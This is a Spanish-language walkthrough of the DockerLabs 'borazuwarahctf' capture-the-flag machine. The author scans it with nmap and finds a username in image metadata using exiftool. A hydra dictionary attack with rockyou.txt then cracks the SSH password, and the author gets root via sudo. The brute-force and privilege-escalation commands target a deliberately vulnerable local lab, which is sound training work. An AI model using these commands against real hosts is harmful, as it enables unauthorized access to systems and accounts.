



Desplegaremos la maquina

```

A caan31 ~ ~/Documentos/Maquinas_DockerLabs/borazuwarahctf > sudo bash auto_deploy.sh borazuwarahctf.tar
Deploying root access for caan31. Password pls:
Lo siento, pruebe otra vez.
Deploying root access for caan31. Password pls:

      ##
    ## ## ##
  ## ## ## ##
 /##### \
{          }
 \         /
  \       /
   \     /
    \   /
     \ /
      0

DockerLabs

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termine con la máquina para eliminarla

```

Haremos un ping para comprobar que tenemos conexión a la maquina víctima.

```

caan31 ~ >> ping -c 2 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.085 ms

64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.033 ms

--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1035ms
rtt min/avg/max/mdev = 0.033/0.059/0.085/0.026 ms

```

Haremos un escaneo con nmap, **-Pn** desactiva la detección de hosts activos (ping), tratando todos los objetivos como si estuvieran en línea, útil cuando los pings están bloqueados por firewalls.

```
caan31 ~ >> nmap -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 18:54 CEST
Nmap scan report for 172.17.0.2
Host is up (0.00011s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
```

Ahora que ya sabemos que puertos están abiertos, haremos un escaneo más profundo con la versión de cada servicio con **-p y -sCV**

```
caan31 ~ >> nmap -p22,80 -sCV -Pn 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 18:54 CEST
Nmap scan report for 172.17.0.2
Host is up (0.00038s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
|_ ssh-hostkey:
|_  256 3d:fd:d7:c8:17:97:f5:12:b1:f5:11:7d:af:88:06:fe (ECDSA)
|_  256 43:b3:ba:a9:32:c9:01:43:ee:62:d0:11:12:1d:5d:17 (ED25519)
80/tcp    open  http      Apache httpd 2.4.59 ((Debian))
|_ _http-title: Site doesn't have a title (text/html).
|_ _http-server-header: Apache/2.4.59 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Vemos que tenemos el puerto 80 abierto, así que miraremos que contiene la pagina del servidor.

Vemos que tiene una imagen, inspeccionando el código no nos encontramos nada así que descargaremos la imagen para ver que podemos encontrar.



Utilizando **exiftool** que es una herramienta de línea de comandos que permite leer, editar y eliminar metadatos de archivos como fotos, videos, audios y documentos, examinaremos la imagen descargada.

Podemos encontrar varios metadatos, dentro de ellos encontramos el usuario.

```
caan31 ~ ~/Documentos/Maquinas_DockerLabs/borazuwarahctf >> exiftool imagen.jpeg
ExifTool Version Number      : 13.25
File Name                    : imagen.jpeg
Directory                    : .
File Size                     : 19 kB
File Modification Date/Time   : 2025:05:12 18:52:22+02:00
File Access Date/Time        : 2025:05:12 18:52:22+02:00
File Inode Change Date/Time   : 2025:05:12 18:52:31+02:00
File Permissions              : -rw-r--r--
File Type                    : JPEG
File Type Extension          : jpg
MIME Type                    : image/jpeg
JFIF Version                  : 1.01
Resolution Unit               : None
X Resolution                  : 1
Y Resolution                  : 1
XMP Toolkit                   : Image::ExifTool 12.76
Description                   : ----- User: borazuwarah -----
Title                        : ----- Password: -----
Image Width                   : 455
Image Height                  : 455
Encoding Process              : Baseline DCT, Huffman coding
Bits Per Sample               : 8
Color Components              : 3
Y Cb Cr Sub Sampling          : YCbCr4:2:0 (2 2)
```

Ahora con el nombre del usuario podremos hacer un ataque con hydra para encontrar la contraseña.

```
caan31 ~ >> hydra -l borazuwarah -P Descargas/rockyou.txt ssh://172.17.0.2
Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-12 19:02:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2  login: borazuwarah  password: 123456
```

Al encontrarla podremos conectarnos con el usuario y contraseña encontradas.

```
caan31 ~ >> sudo ssh borazuwarah@172.17.0.2
Deploying root access for caan31. Password pls:
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:04p1roi1VxgJcCkT8e60qxAP8Lkc6MNNNg1H/7HISvg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
borazuwarah@172.17.0.2's password:
Linux 1af6d6bb32ed 6.14.3-arch1-1 #1 SMP PREEMPT_DYNAMIC Sun, 20 Apr 2025 12:38:52 +0000 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
borazuwarah@1af6d6bb32ed:~$
```

Al momento de escalar privilegios utilizamos el comando `sudo -l` y vemos que simplemente utilizando el comando `sudo su`, nos pedirá la contraseña del usuario y ya seremos root.

```
borazuwarah@1af6d6bb32ed:~$ sudo -l
Matching Defaults entries for borazuwarah on 1af6d6bb32ed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User borazuwarah may run the following commands on 1af6d6bb32ed:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/bash
borazuwarah@1af6d6bb32ed:~$ sudo su
[sudo] password for borazuwarah:
root@1af6d6bb32ed:/home/borazuwarah# whoami
root
root@1af6d6bb32ed:/home/borazuwarah#
```